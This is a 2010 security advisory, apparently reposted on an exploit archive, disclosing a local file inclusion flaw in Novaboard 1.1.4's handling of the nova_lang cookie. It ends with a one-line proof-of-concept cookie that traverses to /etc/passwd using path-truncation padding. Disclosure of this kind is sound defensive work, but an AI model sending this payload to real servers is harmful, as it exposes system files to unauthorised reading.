Novaboard v1.1.4 Local File Inclusion Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Novaboard v1.1.4 Local File Inclusion Vulnerability
# Published : 2010-10-27
# Author : High-Tech Bridge SA
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Vulnerability ID: HTB22657
Reference: http://www.htbridge.ch/advisory/lfi_in_novaboard.html
Product: Novaboard 
Vendor: Novaboard  ( http://www.novaboard.net/ ) 
Vulnerable Version: 1.1.4 and probably prior versions 
Vendor Notification: 13 October 2010 
Vulnerability Type: Local File Inclusion
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in nova_lang variable from cookie.

The following PoC is available:


Cookie: nova_lang=../../../../../../../../../../../../../../etc/passwd/././././.[>4095 * "/."]/././././.